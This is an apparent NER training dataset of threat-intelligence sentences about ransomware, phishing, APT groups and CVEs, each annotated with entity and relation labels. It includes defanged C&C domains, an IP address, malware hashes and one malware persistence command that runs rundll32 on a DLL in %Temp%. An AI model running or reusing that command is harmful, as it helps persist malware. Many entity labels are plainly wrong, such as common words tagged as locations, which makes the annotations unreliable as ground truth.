{"id":581,"text":"Palo Alto Networks customers are further protected from ransomware.","entities":[{"id":46178,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
{"id":2475,"text":"This particular webshell will load a base64 encoded class that will contain the functionality desired by the actor.","entities":[],"relations":[],"Comments":[]}
{"id":1966,"text":" The RDG client responds once again with a Client Hello packet containing the received cookie, which will initiate the DTLS handshake (RFC6347 Section 4.2).   Figure 1: Initiation of the DTLS handshake between RDG client and server  Figure 2: RDG client and server handshake phase (Source: [MS-TSGU] Section 1.3.3.1.1)","entities":[],"relations":[],"Comments":[]}
{"id":2819,"text":" The attack uses this vulnerability to spread the WanaCrypt0r ransomware on the network.","entities":[{"id":8612,"label":"malware","start_offset":50,"end_offset":61}],"relations":[],"Comments":[]}
{"id":1165,"text":"Idiosyncrasies of the malware author become apparent, the evolution can be traced, the availability or quality of code deduced, and reuse of functionality made clear with a simple mutex.","entities":[],"relations":[],"Comments":[]}
{"id":6979,"text":"     Figure 14. CrimsonRAT malware hosted in viral91[.]xyz     We were also able to source a phishing document, \u201ccsd_car_price_list_2017,\u201d that is related to this domain and has been seen in the wild in 2017.","entities":[{"id":21868,"label":"attack-pattern","start_offset":84,"end_offset":90},{"id":21869,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21870,"label":"location","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
{"id":11807,"text":"The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.","entities":[{"id":36416,"label":"location","start_offset":83,"end_offset":86},{"id":36417,"label":"location","start_offset":126,"end_offset":129},{"id":36418,"label":"attack-pattern","start_offset":159,"end_offset":167},{"id":36419,"label":"location","start_offset":168,"end_offset":173},{"id":36420,"label":"location","start_offset":177,"end_offset":181},{"id":36421,"label":"location","start_offset":182,"end_offset":186}],"relations":[],"Comments":[]}
{"id":517,"text":"From this lens, the top three families observed are Ryuk (31.7%), Sodinokibi (20%) and Maze (15%).  Emails are still the most efficient method to deliver and propagate ransomware.","entities":[{"id":46146,"label":"malware","start_offset":52,"end_offset":56},{"id":46147,"label":"malware","start_offset":66,"end_offset":76},{"id":46148,"label":"malware","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
{"id":3659,"text":"Although both names have at times been used to refer to the same group, organizations such as MITRE identifies them as two separate entities that wield the Carbanak backdoor in their attacks.","entities":[{"id":49429,"label":"identity","start_offset":94,"end_offset":99},{"id":49432,"label":"malware","start_offset":156,"end_offset":173}],"relations":[],"Comments":[]}
{"id":2598,"text":" Apart from Argentinian eCommerce provider Mercado Libre \/ Mercado Pago, subsequent victimology has departed South America and pivoted to focus on the high-tech sector.  Recent public victims have included:  It should be understood that in addition there are likely any number of other victims, targeted by attacks not known in the public sphere.","entities":[{"id":45606,"label":"location","start_offset":12,"end_offset":23},{"id":45608,"label":"identity","start_offset":43,"end_offset":56},{"id":45609,"label":"identity","start_offset":59,"end_offset":71},{"id":45610,"label":"location","start_offset":109,"end_offset":122}],"relations":[{"id":357,"from_id":45608,"to_id":45606,"type":"located-at"},{"id":358,"from_id":45609,"to_id":45606,"type":"located-at"},{"id":359,"from_id":45609,"to_id":45608,"type":"related-to"}],"Comments":[]}
{"id":823,"text":" The patch provided by Microsoft included the typical release of operating system patches, but this time a new Application Programming Interface (API) function was added.","entities":[{"id":46371,"label":"SOFTWARE","start_offset":23,"end_offset":32}],"relations":[],"Comments":[]}
{"id":3969,"text":"Use multi-factor authentication whenever possible and regularly update it.","entities":[],"relations":[],"Comments":[]}
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{"id":520,"text":"Web browsing is the second most common entry vector for ransomware infections.","entities":[],"relations":[],"Comments":[]}
{"id":357,"text":" As Heartbleed allows the attacker to scrape memory from the vulnerable device, they can retrieve significant amounts of secret information.","entities":[{"id":44716,"label":"attack-pattern","start_offset":38,"end_offset":51},{"id":44715,"label":"vulnerability","start_offset":4,"end_offset":14}],"relations":[{"id":153,"from_id":44715,"to_id":44716,"type":"targets"}],"Comments":[]}
{"id":211,"text":" Additionally the kernel module responsible for the actual wiping activity is from a legitimate application called EaseUS Partition Master.","entities":[{"id":45907,"label":"tools","start_offset":115,"end_offset":138}],"relations":[],"Comments":[]}
{"id":2400,"text":"The CVE-2022-22965 vulnerability allows an attacker unauthenticated remote code execution (RCE), which Unit 42 has observed being exploited in the wild.","entities":[{"id":45495,"label":"vulnerability","start_offset":4,"end_offset":18},{"id":45496,"label":"attack-pattern","start_offset":52,"end_offset":89},{"id":45497,"label":"identity","start_offset":103,"end_offset":110}],"relations":[{"id":105,"from_id":45496,"to_id":45495,"type":"delivers"}],"Comments":[]}
{"id":658,"text":"The WannaCry attacks in May, 2017 demonstrated that many Windows systems had not been patched for this vulnerability.","entities":[{"id":2160,"label":"malware","start_offset":4,"end_offset":12},{"id":46236,"label":"TIME","start_offset":24,"end_offset":33},{"id":46237,"label":"SOFTWARE","start_offset":57,"end_offset":64}],"relations":[],"Comments":[]}
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{"id":3702,"text":"To steal these, both groups employed credential dumping and input capture.","entities":[{"id":11230,"label":"attack-pattern","start_offset":37,"end_offset":55},{"id":11232,"label":"attack-pattern","start_offset":60,"end_offset":73}],"relations":[],"Comments":[]}
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{"id":12997,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[{"id":40484,"label":"attack-pattern","start_offset":55,"end_offset":63}],"relations":[],"Comments":[]}
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{"id":2341,"text":"These two functions are used in conjunction to dynamically load a shared object into memory and retrieve the address of a symbol from it.","entities":[],"relations":[],"Comments":[]}
{"id":9750,"text":"Running this registry file adds the following command to the Run registry key: rundll32 %Temp%\\png.dll,RunPow  Figure 3.","entities":[{"id":29734,"label":"attack-pattern","start_offset":79,"end_offset":87}],"relations":[],"Comments":[]}
{"id":13128,"text":"The expansive use of open source code by DevOps teams adds another element of risk which requires urgent attention.","entities":[],"relations":[],"Comments":[]}
{"id":10178,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":31068,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
{"id":4027,"text":"It is our aim, through this article, to encourage enterprises to review their own security setting and protect themselves from damage and compromise.","entities":[],"relations":[],"Comments":[]}
{"id":1668,"text":"The client combines this with the password and generates the same key.","entities":[],"relations":[],"Comments":[]}
{"id":3774,"text":" Cortex Xpanse was able to identify ~800 instances of VMware Workspace ONE Access connected to the public internet, and can be leveraged to enumerate potentially vulnerable instances within customer networks.","entities":[{"id":49607,"label":"SOFTWARE","start_offset":1,"end_offset":14},{"id":49608,"label":"SOFTWARE","start_offset":54,"end_offset":81}],"relations":[],"Comments":[]}
{"id":10132,"text":"The method, which we first discussed in 2014, involves changing a browser tab to point to a phishing site after distracting the target.","entities":[{"id":30896,"label":"location","start_offset":74,"end_offset":77},{"id":30897,"label":"location","start_offset":81,"end_offset":86},{"id":30898,"label":"attack-pattern","start_offset":92,"end_offset":100},{"id":30899,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
{"id":1754,"text":"In his slides, he mentioned that a \"god mode\" of Internet Explorer could be turned on by a one byte overwrite.","entities":[{"id":46906,"label":"SOFTWARE","start_offset":49,"end_offset":66}],"relations":[],"Comments":[]}
{"id":1592,"text":" Version Summary  October 24, 2017 2:30 p.m. PT  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46837,"label":"TIME","start_offset":18,"end_offset":47}],"relations":[],"Comments":[]}
{"id":1773,"text":" Here, xyz indicates a user-controlled address that contains the length of a vector object or length of an Int32Array.","entities":[],"relations":[],"Comments":[]}
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{"id":204,"text":" On Feb. 18, both the United States and the United Kingdom attributed these DDoS attacks to Russia\u2019s Main Intelligence Directorate (GRU).  Over the past week, Ukraine has continued to observe a relatively constant flow of DDoS attacks targeting its government and financial institutions.","entities":[{"id":44621,"label":"identity","start_offset":22,"end_offset":35},{"id":44622,"label":"TIME","start_offset":4,"end_offset":11},{"id":44623,"label":"identity","start_offset":44,"end_offset":58},{"id":44624,"label":"attack-pattern","start_offset":76,"end_offset":80},{"id":44625,"label":"threat-actor","start_offset":92,"end_offset":136},{"id":44626,"label":"identity","start_offset":159,"end_offset":166},{"id":44627,"label":"attack-pattern","start_offset":222,"end_offset":234},{"id":44628,"label":"identity","start_offset":249,"end_offset":286}],"relations":[{"id":4,"from_id":44624,"to_id":44625,"type":"attributed-to"},{"id":131,"from_id":44627,"to_id":44628,"type":"targets"}],"Comments":[]}
{"id":14021,"text":"Instead, it is determined by the operating system language at the time of the version resource inclusion.","entities":[],"relations":[],"Comments":[]}
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{"id":4929,"text":"This means that there is typically more than one threat actor behind the warnings.","entities":[],"relations":[],"Comments":[]}
{"id":5427,"text":"Having a distributed infrastructure also makes it more difficult for cybersecurity teams to take down the whole attack.","entities":[],"relations":[],"Comments":[]}
{"id":7138,"text":"This shows that the threat actors intended to confuse forensics investigators with incorrect timestamps, which is why it\u2019s critical to analyze timestamps with caution during investigations.","entities":[],"relations":[],"Comments":[]}
{"id":8501,"text":"This is the second directive the TSA issued to the pipeline sector this 2021, building on the initial Security Directive released on May 2021 following the ransomware attack on Colonial Pipeline by DarkSide.","entities":[],"relations":[],"Comments":[]}
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{"id":3742,"text":"This is also the earliest date at which Unit 42 observed exploitation attempts and scanning activity.  2022-04-13: VMware advisory updated with knowledge of active exploitation of CVE-2022-22954 in the wild.","entities":[{"id":49562,"label":"TIME","start_offset":103,"end_offset":113},{"id":49563,"label":"identity","start_offset":115,"end_offset":121},{"id":49561,"label":"identity","start_offset":40,"end_offset":47},{"id":49564,"label":"vulnerability","start_offset":180,"end_offset":194}],"relations":[],"Comments":[]}
{"id":2491,"text":" While CVE-2022-22963 is a different vulnerability in Spring Cloud Function (not technically part of SpringShell), a Threat Prevention signature is also available to ensure coverage at the perimeter.","entities":[{"id":47575,"label":"vulnerability","start_offset":101,"end_offset":112},{"id":47573,"label":"vulnerability","start_offset":7,"end_offset":21},{"id":47574,"label":"SOFTWARE","start_offset":54,"end_offset":66}],"relations":[{"id":341,"from_id":47574,"to_id":47573,"type":"has"}],"Comments":[]}
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{"id":6925,"text":"Exploiting CVE-2019-0676 enabled attackers to reveal presence or non-presence of files on the victim\u2019s computer; this information was later used to decide whether or not a second stage exploit should be delivered.","entities":[],"relations":[],"Comments":[]}
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{"id":3282,"text":"It writes the basic config and RTMP config of OBS and then starts the OBS process to monitor the victim\u2019s desktop using RTMP live streaming to the cloud.","entities":[],"relations":[],"Comments":[]}
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{"id":4834,"text":"Today, we're sharing intelligence on a segment of attackers we call hack-for-hire, whose niche focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":50791,"label":"attack-pattern","start_offset":68,"end_offset":81}],"relations":[],"Comments":[]}
{"id":855,"text":"And while this technique alone isn\u2019t solely responsible for the damaging power of WanaCrypt0r\/WannaCry and Petya\/NotPetya it is certainly an important contributing factor.","entities":[{"id":2781,"label":"malware","start_offset":82,"end_offset":93},{"id":2784,"label":"malware","start_offset":107,"end_offset":112},{"id":44893,"label":"malware","start_offset":94,"end_offset":102},{"id":44895,"label":"malware","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
{"id":9416,"text":"This malware lineup includes tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, and a brand-new multistage malware family that we have dubbed PuppetLoader.","entities":[{"id":28978,"label":"location","start_offset":35,"end_offset":38},{"id":28979,"label":"malware","start_offset":96,"end_offset":101},{"id":28980,"label":"location","start_offset":102,"end_offset":105},{"id":28981,"label":"malware","start_offset":106,"end_offset":115},{"id":28982,"label":"location","start_offset":117,"end_offset":120},{"id":28983,"label":"location","start_offset":123,"end_offset":128},{"id":28984,"label":"malware","start_offset":179,"end_offset":191}],"relations":[],"Comments":[]}
{"id":13066,"text":"Published New White Paper: Practical Risk Assessments for Smart Factories","entities":[],"relations":[],"Comments":[]}
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{"id":2232,"text":"In the event the supplied argument was C:\\malware.exe, the registry key would be named \u2018malware\u2019, and the path for this key would be \u2018C:\\malware.exe\u2019.  The persistence thread runs in a loop where the registry keys are set every 60 seconds, ensuring persistence even in the event an administrator manually deletes the registry keys.","entities":[{"id":45426,"label":"FILEPATH","start_offset":39,"end_offset":53},{"id":45427,"label":"FILEPATH","start_offset":134,"end_offset":148},{"id":6655,"label":"TIME","start_offset":222,"end_offset":238}],"relations":[],"Comments":[]}
{"id":5063,"text":"Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.","entities":[{"id":51170,"label":"attack-pattern","start_offset":111,"end_offset":173},{"id":51169,"label":"threat-actor","start_offset":0,"end_offset":11}],"relations":[{"id":1066,"from_id":51169,"to_id":51170,"type":"uses"}],"Comments":[]}
{"id":4576,"text":"These phishing domains have been blocked through Google Safe Browsing \u2013 a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.","entities":[],"relations":[],"Comments":[]}
{"id":3935,"text":"It proceeded with copying the Chopper web shell into accessible shared folders in other hosts to gain access.","entities":[{"id":49777,"label":"malware","start_offset":30,"end_offset":47}],"relations":[],"Comments":[]}
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{"id":14357,"text":"The attackers were found using the HTTP protocol to transfer data.","entities":[],"relations":[],"Comments":[]}
{"id":2032,"text":" With HelloXD version 2, the author(s) opted to alter the encryption routine, swapping out the modified HC-128 algorithm with the Rabbit symmetric cipher.","entities":[{"id":6049,"label":"malware","start_offset":6,"end_offset":13}],"relations":[],"Comments":[]}
{"id":890,"text":" PClock2 also enables persistence by setting the following registry key.","entities":[{"id":46421,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
{"id":6681,"text":"  The full extent of the attack is currently unknown.","entities":[],"relations":[],"Comments":[]}
{"id":3239,"text":"The second HTTP server behaves the same as the first but returns a string, \u201cdm_online\u201d, instead.","entities":[],"relations":[],"Comments":[]}
{"id":6949,"text":"Aside from the Crimson RAT malware, the Earth Karkaddan APT group is also known to use the ObliqueRat malware in its campaigns.","entities":[{"id":21753,"label":"location","start_offset":40,"end_offset":45},{"id":21754,"label":"location","start_offset":56,"end_offset":59},{"id":21755,"label":"malware","start_offset":91,"end_offset":101}],"relations":[],"Comments":[]}
{"id":1141,"text":"While programmatic analysis would have a hard time associating the two, it's obvious to a human that the same face rolling technique was used to name this mutex.","entities":[],"relations":[],"Comments":[]}
{"id":5171,"text":" DDS is integral in embedded systems that require real-time machine-to-machine communication, facilitating a reliable communication layer between sensors, controllers, and actuators.","entities":[],"relations":[],"Comments":[]}
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{"id":8,"text":"This tactic is a nightmare for legacy security products that are based on legacy techniques such as bytes signatures, since they can only detect attacks after the damage is done instead of preventing it as a true solution should.","entities":[],"relations":[],"Comments":[]}
{"id":1929,"text":"But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork\u2019s group, as well as an infrastructure close to an old Patchwork domain.","entities":[{"id":45181,"label":"SOFTWARE","start_offset":42,"end_offset":49},{"id":45183,"label":"threat-actor","start_offset":169,"end_offset":178},{"id":45184,"label":"threat-actor","start_offset":233,"end_offset":242},{"id":45182,"label":"malware","start_offset":99,"end_offset":106}],"relations":[{"id":80,"from_id":45182,"to_id":45183,"type":"attributed-to"}],"Comments":[]}
{"id":8880,"text":"Having the scheduled task run only once removes the notion of persistence.","entities":[{"id":27467,"label":"attack-pattern","start_offset":11,"end_offset":25},{"id":27468,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
{"id":4427,"text":"The functionality was not automated and it's unclear why it was removed in later versions.","entities":[],"relations":[],"Comments":[]}
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{"id":1965,"text":"The DTLS protocol is used by Microsoft Windows Remote Desktop Gateway (RDG) to establish a secure channel between the RDG client and RDG server (described in detail in [MS_TSGU].pdf).  The RDG client initiates the DTLS connection by sending a ClientHello to the RDG Server.  The RDG server then responds with a DTLS Hello Verify Request that contains a cookie; this is used as a denial of service countermeasure.","entities":[{"id":47089,"label":"SOFTWARE","start_offset":29,"end_offset":75},{"id":47090,"label":"FILEPATH","start_offset":168,"end_offset":181}],"relations":[],"Comments":[]}
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{"id":160,"text":"Although that feature was never enabled to protect user data files like ransomware targets, there is a clear lesson from the experience: too many security checks on user activity fails in the end.","entities":[],"relations":[],"Comments":[]}
{"id":5061,"text":"In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.","entities":[{"id":51167,"label":"TIME","start_offset":3,"end_offset":12}],"relations":[],"Comments":[]}
{"id":2422,"text":" Exposing the class object to web users is very dangerous and can lead to RCE in many ways.","entities":[],"relations":[],"Comments":[]}
{"id":9616,"text":"We\u2019ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":29454,"label":"tools","start_offset":70,"end_offset":76},{"id":29455,"label":"location","start_offset":77,"end_offset":80},{"id":29456,"label":"location","start_offset":81,"end_offset":89},{"id":29457,"label":"location","start_offset":112,"end_offset":115},{"id":29458,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
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{"id":5591,"text":"Avoid connecting a NAS device directly to the internet.","entities":[],"relations":[],"Comments":[]}
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{"id":2493,"text":" Unit 42 is actively monitoring malicious traffic through our devices and cloud solutions.","entities":[{"id":45540,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
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{"id":5545,"text":"What can you do to stay safe?","entities":[],"relations":[],"Comments":[]}
{"id":10962,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":33353,"label":"location","start_offset":66,"end_offset":76},{"id":33354,"label":"location","start_offset":109,"end_offset":117},{"id":33355,"label":"location","start_offset":123,"end_offset":126},{"id":33356,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":33357,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
{"id":3079,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":6117,"text":"It is correctly identified by eleven AV vendors as PlugX malware.","entities":[{"id":18919,"label":"malware","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]}
{"id":989,"text":"We would also like to thank Ryan Olson, Benjamin Small, Richar Wartell, and Chris Clark from Palo Alto networks in publishing the discovery.","entities":[{"id":46484,"label":"identity","start_offset":28,"end_offset":38},{"id":46485,"label":"identity","start_offset":40,"end_offset":54},{"id":46486,"label":"identity","start_offset":56,"end_offset":70},{"id":46487,"label":"identity","start_offset":76,"end_offset":87},{"id":46488,"label":"identity","start_offset":93,"end_offset":111}],"relations":[],"Comments":[]}
{"id":10364,"text":"Given the use of lure documents designed with social engineering in mind, it is likely that the attackers use phishing or spam to target users who are unaware of these documents' malicious nature.","entities":[{"id":31553,"label":"location","start_offset":0,"end_offset":5},{"id":31554,"label":"location","start_offset":17,"end_offset":21},{"id":31555,"label":"location","start_offset":80,"end_offset":86},{"id":31556,"label":"attack-pattern","start_offset":110,"end_offset":118},{"id":31557,"label":"location","start_offset":130,"end_offset":136},{"id":31558,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
{"id":2130,"text":"There is also proof of concept (PoC) code available already.","entities":[],"relations":[],"Comments":[]}
{"id":4367,"text":"Trend Micro\u2122 Deep Discovery\u2122 Email Inspector \u2013 Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks.    Indicators of Compromise Hashes of the malicious encrypted documents:      SHA256  Detection name  dacf7868a71440a7d7d8797caca1aa29b7780801e6f3b3bc33123f16989354b2  Trojan.W97M.CONFUCIUS.A  0f6bcbdf4d192f8273887f9858819dd4690397a92fb28a60bb731c873c438e07  Trojan.W97M.CONFUCIUS.B","entities":[{"id":50153,"label":"malware","start_offset":428,"end_offset":451},{"id":50149,"label":"SOFTWARE","start_offset":0,"end_offset":28},{"id":50150,"label":"SHA2","start_offset":271,"end_offset":335},{"id":50151,"label":"malware","start_offset":337,"end_offset":360},{"id":50152,"label":"SHA2","start_offset":362,"end_offset":426}],"relations":[{"id":920,"from_id":50150,"to_id":50151,"type":"indicates"},{"id":921,"from_id":50152,"to_id":50153,"type":"indicates"}],"Comments":[]}
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{"id":6680,"text":"CISA has also issued a bulletin asking organizations using the software to follow Kaseya guidance.","entities":[],"relations":[],"Comments":[]}
{"id":14180,"text":"But these efforts have been mainly targeted at Ukrainian organizations.","entities":[],"relations":[],"Comments":[]}
{"id":1209,"text":"They implement code that will send SMS to pre-defined premium numbers (Figure 1).","entities":[],"relations":[],"Comments":[]}
{"id":5273,"text":"For organizations, Trend Micro\u2122 Mobile Security for Enterprise provides device, compliance and application management, data protection, and configuration provisioning, as well as protects devices from attacks that leverage vulnerabilities, preventing unauthorized access to apps, as well as detecting and blocking malware and fraudulent websites.","entities":[{"id":51315,"label":"SOFTWARE","start_offset":19,"end_offset":62}],"relations":[],"Comments":[]}
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{"id":14416,"text":"In these attacks, attackers utilized the Eternal Blue exploit and harvested credentials as they moved across the environment, and then used existing system tools to kill security services within machines to hide their presence.","entities":[{"id":47172,"label":"vulnerability","start_offset":41,"end_offset":61}],"relations":[],"Comments":[]}
{"id":1152,"text":"These unique consistencies make it extremely improbable that two different people named these mutexes.","entities":[],"relations":[],"Comments":[]}
{"id":3033,"text":"We close this list with patching because it is the most important thing you can do.","entities":[],"relations":[],"Comments":[]}
{"id":14297,"text":"Infection chain of Maikspy Windows variant  Figure 8.","entities":[{"id":48503,"label":"malware","start_offset":19,"end_offset":27},{"id":48504,"label":"SOFTWARE","start_offset":27,"end_offset":35}],"relations":[{"id":434,"from_id":48503,"to_id":48504,"type":"targets"}],"Comments":[]}
{"id":213,"text":"In tracking this threat, early reports show that the malware has been deployed against a financial institution in Ukraine as well as two contractors in Latvia and Lithuania that provide services to the Ukrainian Government.","entities":[{"id":44633,"label":"location","start_offset":114,"end_offset":121},{"id":44634,"label":"identity","start_offset":202,"end_offset":222},{"id":44635,"label":"identity","start_offset":90,"end_offset":110},{"id":44636,"label":"location","start_offset":152,"end_offset":158},{"id":44637,"label":"location","start_offset":163,"end_offset":172},{"id":44638,"label":"malware","start_offset":53,"end_offset":60},{"id":44639,"label":"identity","start_offset":133,"end_offset":172}],"relations":[{"id":6,"from_id":44638,"to_id":44635,"type":"targets"},{"id":7,"from_id":44638,"to_id":44639,"type":"targets"}],"Comments":[]}
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{"id":6926,"text":"The attack vector for CVE-2019-1367 was rather atypical as the exploit was delivered from an Office document abusing the online video embedding feature to load an external URL conducting the exploitation.","entities":[{"id":21664,"label":"tools","start_offset":11,"end_offset":17},{"id":21666,"label":"location","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]}
{"id":6676,"text":"They used access to the VSA software to deploy ransomware associated with the REvil\/Sodinokibi ransomware-as-a-service group, according to reports.","entities":[{"id":20733,"label":"malware","start_offset":78,"end_offset":83},{"id":20734,"label":"threat-actor","start_offset":84,"end_offset":94}],"relations":[],"Comments":[]}
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{"id":1453,"text":" Because of this, app developers should be extremely careful about re-using certificates when signing their apps.","entities":[],"relations":[],"Comments":[]}
{"id":829,"text":"As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.","entities":[{"id":46379,"label":"identity","start_offset":37,"end_offset":46}],"relations":[],"Comments":[]}
{"id":1266,"text":" Four of the five Sysget variants included a form of decoy document to trick users into believing they had opened a legitimate file rather than malware.","entities":[{"id":46642,"label":"malware","start_offset":18,"end_offset":24},{"id":44958,"label":"attack-pattern","start_offset":53,"end_offset":67}],"relations":[{"id":204,"from_id":46642,"to_id":44958,"type":"uses"}],"Comments":[]}
{"id":1921,"text":" A malicious RTF file that exploits the CVE-2017-8750 and drops a malicious VB backdoor with C&C appswonder[.]info A malicious InPage file that exploits CVE-2017-12824 and drops two files, one non-malicious, and one malicious VB backdoor with C&C referfile[.]com  Talos recently reported both C&C domain names with one type of campaign that targets iOS and involves MDM, and another type using VB and Delphi backdoors.","entities":[{"id":47039,"label":"vulnerability","start_offset":40,"end_offset":53},{"id":47042,"label":"DOMAIN","start_offset":247,"end_offset":262},{"id":47043,"label":"identity","start_offset":264,"end_offset":269},{"id":47044,"label":"SOFTWARE","start_offset":349,"end_offset":352},{"id":47045,"label":"malware","start_offset":3,"end_offset":16},{"id":47040,"label":"vulnerability","start_offset":153,"end_offset":167},{"id":47041,"label":"DOMAIN","start_offset":97,"end_offset":114}],"relations":[{"id":291,"from_id":47045,"to_id":47039,"type":"exploits"},{"id":292,"from_id":47045,"to_id":47041,"type":"communicates-with"}],"Comments":[]}
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{"id":11642,"text":"Furthermore, it seems that these lures are distributed via phishing links.","entities":[{"id":35731,"label":"location","start_offset":39,"end_offset":42},{"id":35732,"label":"attack-pattern","start_offset":59,"end_offset":67}],"relations":[],"Comments":[]}
{"id":3744,"text":"Publication of VMware advisory VMSA-2022-0014 regarding CVE-2022-22972, CVE-2022-22973.","entities":[{"id":49568,"label":"vulnerability","start_offset":72,"end_offset":86},{"id":49566,"label":"identity","start_offset":15,"end_offset":21},{"id":49567,"label":"vulnerability","start_offset":56,"end_offset":70}],"relations":[],"Comments":[]}
{"id":5391,"text":"We have observed that some of the WatchGuard and Asus bots were never cleaned up because these routers still try to connect periodically to old C&Cs that were secured or taken offline.","entities":[],"relations":[],"Comments":[]}
{"id":1991,"text":"We believe this was likely done to monitor the progress of the ransomware and maintain an additional foothold in compromised systems.","entities":[],"relations":[],"Comments":[]}
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{"id":13428,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[],"relations":[],"Comments":[]}
{"id":4515,"text":"We ensure appropriate controls are built into the architecture of the system.","entities":[],"relations":[],"Comments":[]}
{"id":9167,"text":"Coincidence?","entities":[],"relations":[],"Comments":[]}
{"id":4796,"text":"While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.","entities":[],"relations":[],"Comments":[]}
{"id":348,"text":" The best way to protect yourself against ransomware is to keep up-to-date backups of your important files.","entities":[],"relations":[],"Comments":[]}
{"id":7877,"text":"Another 156 implement a BackupAgent that restricts which data is subject to the backup.","entities":[],"relations":[],"Comments":[]}
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{"id":4577,"text":"Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor\u2019s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.","entities":[{"id":50428,"label":"tools","start_offset":257,"end_offset":270},{"id":50424,"label":"identity","start_offset":71,"end_offset":78},{"id":50425,"label":"threat-actor","start_offset":82,"end_offset":90},{"id":50427,"label":"SOFTWARE","start_offset":204,"end_offset":219},{"id":50423,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":50426,"label":"identity","start_offset":136,"end_offset":175}],"relations":[{"id":969,"from_id":50423,"to_id":50425,"type":"duplicate-of"},{"id":970,"from_id":50423,"to_id":50426,"type":"impersonates"}],"Comments":[]}
{"id":6391,"text":"As noted above, the sample was configured to call home to 159.65.186[.]50 on port 443.","entities":[{"id":19815,"label":"location","start_offset":20,"end_offset":26},{"id":19816,"label":"location","start_offset":45,"end_offset":49},{"id":19817,"label":"location","start_offset":50,"end_offset":54},{"id":19818,"label":"IPV4","start_offset":58,"end_offset":73}],"relations":[],"Comments":[]}
{"id":5230,"text":"We named these malicious apps AnubisSpy (ANDROIDOS_ANUBISSPY) as all the malware\u2019s payload is a package called watchdog.","entities":[{"id":51263,"label":"malware","start_offset":111,"end_offset":119},{"id":51262,"label":"malware","start_offset":41,"end_offset":60},{"id":16073,"label":"malware","start_offset":30,"end_offset":39}],"relations":[{"id":1072,"from_id":51262,"to_id":16073,"type":"duplicate-of"}],"Comments":[]}
{"id":4721,"text":"Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.","entities":[],"relations":[],"Comments":[]}
{"id":3788,"text":"At the time, we found ChessMaster targeting different sectors from the academe to media and government agencies in Japan.","entities":[{"id":49628,"label":"campaign","start_offset":22,"end_offset":33},{"id":49629,"label":"identity","start_offset":71,"end_offset":111},{"id":49630,"label":"location","start_offset":115,"end_offset":120}],"relations":[{"id":851,"from_id":49628,"to_id":49629,"type":"targets"},{"id":852,"from_id":49629,"to_id":49630,"type":"located-at"}],"Comments":[]}
{"id":5286,"text":"Cyclops Blink has been around since at least June 2019, and a considerable number of its C&C servers and bots are active for up to about three years.","entities":[{"id":51336,"label":"malware","start_offset":0,"end_offset":13},{"id":51337,"label":"TIME","start_offset":45,"end_offset":54}],"relations":[],"Comments":[]}
{"id":13182,"text":"After the encrypted payload is loaded, the loader injects a malicious DLL into rundll32.exe.","entities":[],"relations":[],"Comments":[]}
{"id":2165,"text":"This allows the attack to succeed even if the user simply views the file in the preview pane \u2013 with no clicks on the document necessary \u2013 making the attack much more dangerous.","entities":[],"relations":[],"Comments":[]}
{"id":1627,"text":"This moves it to the back of the inbox there the victim is unlikely to ever see it.","entities":[],"relations":[],"Comments":[]}
{"id":4472,"text":"We assessed that a surveillance vendor packaged and sold these technologies.","entities":[],"relations":[],"Comments":[]}
{"id":11682,"text":"Analysis of the phishing pages revealed that most of them would redirect to the original webmail servers, which they copied after the victims sent out their login credentials.","entities":[{"id":35826,"label":"attack-pattern","start_offset":16,"end_offset":24},{"id":35827,"label":"location","start_offset":45,"end_offset":49},{"id":35828,"label":"location","start_offset":53,"end_offset":57}],"relations":[],"Comments":[]}
{"id":1318,"text":"More information on its history is available at the following links.","entities":[],"relations":[],"Comments":[]}
